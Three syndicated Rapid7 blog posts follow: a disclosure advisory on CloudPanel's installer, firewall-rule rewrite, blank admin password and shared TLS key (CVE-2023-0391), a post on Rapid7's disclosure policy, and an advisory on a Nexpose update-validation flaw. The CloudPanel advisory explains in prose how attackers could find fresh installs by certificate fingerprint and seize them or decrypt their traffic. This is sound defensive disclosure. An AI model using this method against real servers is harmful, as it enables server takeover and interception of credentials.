Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2023/03/21/cve-2023-0391-mgt-commerce-cloudpanel-shared-certificate-vulnerability-and-weak-installation-procedures/

While using the popular self-hosted web administration solution, CloudPanel from MGT-COMMERCE, Rapid7 researcher Tod Beardsley discovered three security concerns. The first, an issue involving the trustworthiness of the installation script provided by the vendor, was an instance of CWE-494: Download of Code Without Integrity Check, and was quickly addressed by the vendor in under a day.

The second issue was with how the installer overwrites local firewall rules to be overly permissive during setup, and appears to be an instance of CWE-183: Permissive List of Allowed Inputs. The third issue is more long-term; CloudPanel installations all share the same SSL certificate private key. This appears to be an instance of CWE-321: Use of Hard-coded Cryptographic Key.

Product Description

MGT-COMMERCE’s CloudPanel is a free solution designed to ease the burden of administering self-hosted Linux servers, and is featured prominently at cloud virtual hosting providers such as AWS, Azure, GCP, Digital Ocean, and many others. More about CloudPanel can be found at the vendor’s website.

Credit

These issues were discovered and reported by Tod Beardsley, a security researcher at Rapid7, and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

While experimenting with some self-hosting solutions for personal use, Beardsley discovered three issues that appear to place new CloudPanel installations at risk of opportunistic attacks across the internet.

Pipe Curl to Bash

The first issue, an instance of CWE-494 involving the trustworthiness of the "curl to bash" installation procedure documented by the vendor was quickly addressed by publishing a cryptographically secure checksum of the installation script. The vendor’s website now includes this check for a sha256 hash, as seen in the screenshot below.

This hash changes as new versions of the install script are released, of course, so it may be different by the time you read this advisory. A strategy of publishing a cryptographically secure hash and incorporating a check of that hash should alleviate any concern about the usual "pipe curl to bash" procedure for downloading and installing software over the internet. If you trust the vendor’s website, and if the vendor’s website is itself protected with an HTTPS certificate, then you should be confident that the installation script they provide is actually the installation script you expect to run. We urge other software providers to incorporate a similar hash check for distributing their installation scripts if they must distribute them via "pipe curl to bash" schemes.

Firewall Rule Rewrite On Installation

The instance of CWE-183 arises due to the fresh installation procedure recommended by the vendor in their documentation. During installation, the installation script preemptively discards local firewall rules for the host operating system, replacing them with much more permissive rules.

In the test case, the local firewall rules (as seen by ufw) are pre-set as:

root@debian11:~# ufw status numbered
Status: active

     To                         Action      From
     --                         ------      ----
[ 1] Anywhere                   ALLOW IN    1.2.3.4               
[ 2] 80:8443/tcp                DENY IN     Anywhere  

(Note, the allowed IP address has been replaced with "1.2.3.4")

The above rules state, "Allow any traffic from 1.2.3.4, deny all traffic to ports 80 through 8443 to everyone else." The ufw configuration also concludes with a general default deny rule (not seen here).

During installation, and upon completion of that one-command piping bash to curl installation procedure, these rules are changed to:

root@debian11:~# ufw status verbose
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), disabled (routed)
New profiles: skip

To                         Action      From
--                         ------      ----
22/tcp                     ALLOW IN    Anywhere                  
80/tcp                     ALLOW IN    Anywhere                  
443                        ALLOW IN    Anywhere                  
8433:8443/tcp              ALLOW IN    Anywhere                  
22/tcp (v6)                ALLOW IN    Anywhere (v6)             
80/tcp (v6)                ALLOW IN    Anywhere (v6)             
443 (v6)                   ALLOW IN    Anywhere (v6)             
8433:8443/tcp (v6)         ALLOW IN    Anywhere (v6) 

These rules are, of course, far more permissive, specifically because they removed the deny rules as well as the custom IP address allow rule I had set prior to installation.

Furthermore, upon completion of the initial installation, the superuser administrator account for CloudPanel is blank. This is a problem because, typically, a user would navigate to the host server web panel and set the password to their chosen value. However, once installation is complete, and if the machine is on the routable internet (as is intended), an attacker could visit the same web panel and set the administration user account to their chosen password, thus effectively administrating the machine.

Note, the opportunity for attack is limited, since the legitimate CloudPanel administrator has the opportunity to reset firewall rules once installation is complete. However, when installation is complete, there is no notification that firewall rules have been discarded and replaced, so the legitimate user is left to discover this on their own.

If an attacker does manage to seize control during the vulnerable window of opportunity, they could install the malware of their choice, replace certificates, or otherwise alter the underlying operating system as an authenticated administrator, since the whole purpose of CloudPanel is to ease the task of OS management.

The trick for the attacker, then, is to find fresh installations of CloudPanel. This seems unlikely on the open internet assuming users are quick to set their superuser administrator account password, but issue CVE-2023-0391, described next, makes the job of finding these fresh CloudPanel servers much easier, in an automated way.

CVE-2023-0391: Reused Certificates

Upon installation, CloudPanel ships with a static SSL certificate to encrypt communications to the administrative interface. Because the SSL certificate is generated once by MGT-COMMERCE and shipped with every installation of CloudPanel, this state of affairs is exploitable for two outcomes.

First, because the SSL certificate has a unique but reused public key, searching for unmodified CloudPanel instances is trivial with modern network scanning techniques. All an attacker would need to do is target a given IP address space used by a targeted Virtual Private Server (VPS) provider, and continuously look for HTTPS services running on port 8443 (the default for this web administration portal) and certificates that match the public key fingerprint seen below:

Using these search parameters, an attacker can continuously search, in real time, for new instances of CloudPanel, and then exploit the CWE-183 issue described above. Of course, other techniques exist for identifying CloudPanel instances, but the reused certificate leads to a secondary, more serious problem.

Since the private key also ships with every installation of CloudPanel, and CloudPanel is freely available to anyone who cares to download it, the encryption provided by the HTTPS connection is not trustworthy. An attacker with the private key can easily decrypted captured traffic, either in real time through a privileged position on the network between the client and the server, or later with captured network traffic. In either case, sensitive information such as an administrator password and session tokens would be immediately available to the attacker.

According to Shodan, as of January 18, 2023, there are about 5,800 servers providing a certificate issued by ‘cloudpanel.clp`, the self-signed authority found on the shipping default certificate. These servers are found mostly in the United States and Germany (which is unsurprising given that the vendor is a German company), and mostly in DigitalOcean VPS environments. This figure is close to our own scanning with Project Sonar, which has spotted 6,785 running instances as of January 27, 2023.

Impact

By chaining together the firewall permissiveness and the reused certificate issues together, an attacker can target and exploit new CloudPanel instances as they are being deployed. It’s important to note that CloudPanel is touted to be an easy to use interface for basic Linux administration, is targeted at relatively inexperienced users, and much of the documentation presumes an installation procedure live on the routable internet with a fresh VPS instance.

Furthermore, it would appear that CloudPanel is currently enjoying a burst of uptake among new Fediverse-aware users (this researcher included). While self-hosting is a perfectly innocent and often virtuous goal for distributing personal and professional content, it does come with some additional security responsibilities that are traditionally taken up by dedicated professional services.

Unfortunately, those dedicated professionals are absent in the DIY, roll-your-own kind of environment encouraged by Fediverse fans, and users are left to fend for themselves when it comes to secure software deployment. In light of this advisory, users interested in self-hosting solutions are urged to be aware of the special security considerations that come along with offering services on the general internet. In years past, this would go without saying, but the late 2022 turmoil around untrustworthy centralized services such as Twitter may be generating a new wave of inexperienced sysadmins on the internet, similar the the surge of general internet usage during the Eternal September of 1993.

Remediation

As of this publication, the firewall rewriting issue, the blank superuser password, and CVE-2023-0391 remain unfixed by the vendor. The issues described in the firewall rewrite issue could be fixed by the installation script taking a snapshot of the existing firewall rules, and programmatically creating a ruleset that incorporates the user’s original intent with those rules. At the least, the script should identify, and warn the user, that firewall rules are about to be re-written.

The superuser administrator account should be created with a random, per-install password, and display that password on the console upon completion; once the user logs in for the first time, they could then be prompted to change the password.

Absent a patch for these issues, users should take care to install CloudPanel only on isolated networks in a way that is isolated beyond local firewall rules. Practically speaking, as long as the user is installing CloudPanel attentively, and watching for the moment the web service becomes available, attackers will only have a minute or so of exposure to take advantage of. Local, same-machine attackers aside, this should be good enough for most use cases.

For the second issue, the vendor could provide, as part of the installation script, a mechanism to create a unique self-signed SSL certificate during installation, and conclude the installation by printing the fingerprint on the console output.

Absent a patch for CVE-2023-0391, users of CloudPanel are encouraged to generate and install their own certificate for SSL use in order to avoid being so trivially fingerprintable by automated scans, and in order to ensure that the cryptographic security provided by HTTPS is actually secure against passive monitoring.

Disclosure Timeline

• November, 2022: CWE-183 and CWE-494 issues discovered by Tod Beardsley of Rapid7
• Wed, Nov 23, 2022: CWE-183 and CWE-494 reported to the vendor
• Thu, Nov 24, 2022: Report acknowledged by the vendor, CWE-494 addressed
• December, 2022: CVE-2023-0391 discovered
• Wed, Jan 18, 2023: CVE-2023-0391 reported to the vendor
• Tue, March 21, 2022: This public disclosure

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2022/12/28/refreshing-rapid7s-coordinated-vulnerability-disclosure-policy/

As 2023 comes hurtling towards us like some kind of maniacal arctic train full of disturbingly realistic AI-generated people, I wanted to take a moment on the blog here to announce that we here at Rapid7, Inc. have refreshed our coordinated vulnerability disclosure (CVD) policy and philosophy. If you just want the precise details, you can head on over to the refreshed CVD page. Otherwise, read on if you want some more explanation of why we’re updating our CVD policy.

A Cohesive Philosophy

Rapid7, as you might expect, is chock full of security researchers—part time, full time, hobbyists, and professionals alike—and so, we frequently come across software vulnerabilities that we’d like to see fixed. These bugs might exist in specialized environments, in the cloud, in the hands of end-users, or in enterprise data centers. The vulnerabilities themselves might be widely exploited in the wild or they might be hard to trigger. Sometimes, the vulnerability itself might be technically a violation of security principles, but the practical effect of its exploitation will be kind of “meh.”

And on and on. It turns out, our old “one size fits all” style of CVD just wasn’t cutting it, as we ran into more and more edge cases when it came to the kinds of vulnerabilities we learn about. Recognizing that, we thought it would be helpful to come up with some broad strokes of what we intend to accomplish and offer up what we expect to do in most cases. From there, we could enumerate all the edge cases we could think of (and have experienced) and document how those cases are different from the usual flow of vulnerability disclosure.

So, far starters, we put together this (fairly pithy) reasoning of why we participate in coordinated vulnerability disclosure in the first place:

1. We believe in strengthening defense by democratizing access to attacker tooling and knowledge. One of Rapid7’s unique strengths is our deep knowledge of how attackers work. Our vulnerability research and Metasploit teams strive to make attacker capabilities, that would otherwise be used primarily by criminals, accessible to all.  This enables defenders to understand and prioritize critical vulnerabilities, develop detections and mitigations, and test security controls. Releasing public exploit code and novel research is core to our mission to close the security achievement gap.
2. Public disclosure of vulnerabilities is a critical component of a healthy cybersecurity ecosystem. Rapid7 advocates for, and practices, timely public disclosure of vulnerabilities across both third-party products and our own systems and solutions. This includes vulnerabilities we independently discover in our customers’ tech stacks. Through transparent, open, and timely vulnerability disclosures, Rapid7 is able to assist  the entire internet in protecting and defending those assets and services critical to modern civilization.
3. Organizations need timely information about risk in order to make educated choices about protecting their networks—especially during active attacks. Our vulnerability disclosure policy includes specific provisions for expediting public disclosure in cases where exploitation has been observed in the wild. Vendors often (understandably) act to protect their own businesses and reputations when there are security issues in their products that introduce risk into their downstream customers’ environments. When we know about exploitation in the wild, or when we believe that threat actors may be covertly weaponizing non-public vulnerabilities, our priority is to alert customers and the community so they may take action to protect their organizations.

The Basic CVD

Building from that, we’ve updated and articulated what is “normal” in vulnerability disclosure, in the form of a five-point guide to what everyone should expect from Rapid7. You can read the exact wording at https://www.rapid7.com/security/disclosure (it may change slightly over time), but to summarize, our basic, standard approach will be to:

• Keep things confidential at first;
• Reserve a CVE ID;
• Tell CERT/CC after 15 days;
• Publish about it after 60 days; and
• Encourage the release of a fix

Rapid7 will also:

• Offer extensions on disclosure timelines (within reason)
• Publish if the software maintainer publishes, and
• Not hold things up if there are duplicate reports

That all seems pretty normal in cybersecurity, and reflects industry standards as promulgated by the likes of ISO 29147 and ISO 30111. Internally, we’ve been calling this the “potato case,” since it’s the basis of all sorts of variations and permutations. And, like a potato—which you might dice, slice, pan-fry, bake, mash, pressure cook, season, gravy, butter, and on and on—we can take this base policy and tweak it just a little to get where we need to be for all the edge cases in CVD.

Edge Cases (edginess not guaranteed)

Okay, enough potato talk. Getting hungry.

Vulnerabilities cause unintended conditions and undefined behaviors, and so our CVD should anticipate curve-balls and weird circumstances. We break out six classes of vulnerabilities (and a meta-classification of “more than one”) and slightly alter the standard case per circumstance:

• Exploited in the Wild: When vulnerabilities are being actively exploited, time is of the essence so that defenders can ramp up and start defending, right now. It would be pretty irresponsible to sit on our hands for 60 days in this case, so expect a bulletin inside a couple of days instead of two months.
• Patch Bypasses: If a patch doesn’t do the job and a bypass is discovered, we will want to move a little faster, and also, make sure there’s a new CVE ID to describe it. Recycling CVE IDs causes vulnerability management systems all kinds of headaches.
• Cloud/Hosted Vulnerabilities: The cloud remains special, in that a fix to a SaaS product tends to mean that’s the end of it, and there’s sometimes little value in disclosure after the fact. However, it remains a possibility that there are some cases in which the learnings from a particular cloud vuln are worth talking about and raising awareness of (namely, for IOCs and logging artifacts to check to see if you’ve already been compromised).
• Kinetic Vulnerabilities: These vulnerabilities are special since they have direct effect on life and limb; think of specialized medtech, vehicle safety systems, and the like. In these cases, we want to allow plenty of time for patches to get out there before we openly discuss all of the technical details.
• Low-Impact Vulnerabilities: While every bug is sacred and special, some are, well, less special than others. In these cases, we wouldn’t bother with coordinating with CERT/CC (they have plenty of work to do), and we may not even publicly disclose them at all (beyond the private disclosure to the responsible organization).
• Vulnerabilities with No Responsible Organizations: Sometimes, there are bugs in systems that nobody maintains anymore—abandonware and the like. In these cases, we will move a little faster on disclosure, in coordination with CERT/CC, mainly because we’re not waiting for a fix to be developed.
• Multi-Faceted Vulnerabilities: If a bug checks more than one of the above boxes, a shorter timeline will apply. So, for example, if there’s some abandoned software that’s also being exploited right now, we’ll publish in just a couple days, rather than a month and a half.

Right now, those are all the cases we can think of, and they hit every vulnerability disclosure I’ve been a part of at Rapid7 over the last decade. Every time we’ve strayed from our (old) policy, it was due to one or more of these conditions. I expect that going forward, the way we approach CVD will be much more predictable and comfortable for everyone involved. Well, except for the criminals and spies that are using these vulns for evil, sorry, not sorry.

Patches Accepted

If you have any thoughts or feedback on this policy, hit us up at [email protected] and we’d be happy to hear it. Or, toot at me and/or Caitlin directly on Mastodon. Do note that we’ll be sticking to the much more precise language on our CVD page, since this blog post is *not* the greatest CVD in the world, it’s just a tribute.

As always, If you have a vulnerability to report on something that Rapid7 is responsible for, check our security.txt for contact details.
Incidentally, do you have a security.txt file? Should you? They’re easy and fun to write and publish—see RFC 9116 for the details there; publishing a note of where to contact you sure makes the job of hearing about vulnerabilities in your products and services a whole lot easier.

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2022/12/07/cve-2022-4261-rapid7-nexpose-update-validation-issue-fixed/

On November 14, 2022, Rapid7’s product engineering team discovered that the mechanism used to validate the source of an update file was unreliable. This failure involving the internal cryptographic validation of received updates was designated as CVE-2022-4261, and is an instance of CWE-494. Rapid7’s estimate of the CVSSv3.1 base rating for this vulnerability for most environments is 4.4 (Medium). This issue is resolved in the regular December 7, 2022 release.

Product Description

Rapid7 Nexpose is an on-premise vulnerability scanner, used by many enterprises around the world to assess and manage the vulnerability exposures present in their networks. You can read more about Nexpose at our website.

Note that CVE-2022-4261 only affects the on-premise Nexpose product, and does not affect InsightVM.

Credit

This issue was discovered by Rapid7 Principal Software Engineer Emmett Kelly and validated by the Rapid7 Nexpose product team. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

Exploitation of this issue is complex, and requires an attacker already in a privileged position in the network. By understanding these complications, we believe our customers will be better able to make appropriate judgements on the risk of delaying this update, perhaps due to established change control procedures.

In order to exploit CVE-2022-4261, an attacker would first need to be in a position to provide a malicious update to Nexpose, either through a privileged position on the network, on the local computer that runs Nexpose (with sufficient privileges to initiate an update), or by convincing a Nexpose administrator to apply a maliciously-crafted update through social engineering. Once applied, the update could introduce new functionality to Nexpose that would benefit the attacker.

Impact

Given the requirement of a privileged position on the network or local machine, exploiting CVE-2022-4261, in most circumstances, is academic. Such an adversary is likely to already have many other (and often easier) choices when it comes to leveraging this position to cause trouble on the target network. In the case of a local machine compromise (which is the most likely attack scenario), the attacker could use this position to instead create a fairly permanent ingress avenue to the internal network and exercise the usual lateral movement options documented as ATT&CK technique T1557.

Remediation

Disabling automatic updates completely removes the risk of exploitation of CVE-2022-4261. That said, most Nexpose administrators already employ Nexpose’s automated updates, and should apply updates either on their already established automated schedules or as soon as it’s convenient to do so.

Nexpose administrators that are especially concerned that they will be targeted during their next update, or who believe they have already been compromised by persistent attackers, should disable automatic updates and use the documented Managing Updates without an Internet Connection procedure to fix this issue, after manually validating the authenticity of the update package.

Fixing an update system with an update is always fairly complex, given the chicken-and-egg nature of the problem being addressed, as well as the risks involved in using an update system to fix an update system. So, it is out of an abundance of caution that we are publishing this advisory today to ensure that customers who rely on automatic updates are made plainly aware of this issue and can plan accordingly.

Disclosure Timeline

• Mon, Nov 14, 2022: Issue discovered by Emett Kelly, and validated by the Nexpose product team.
• Thu, Dec 1, 2022: CVE-2022-4261 reserved by Rapid7.
• Wed, Dec 7, 2022 : This disclosure and update 6.6.172 released.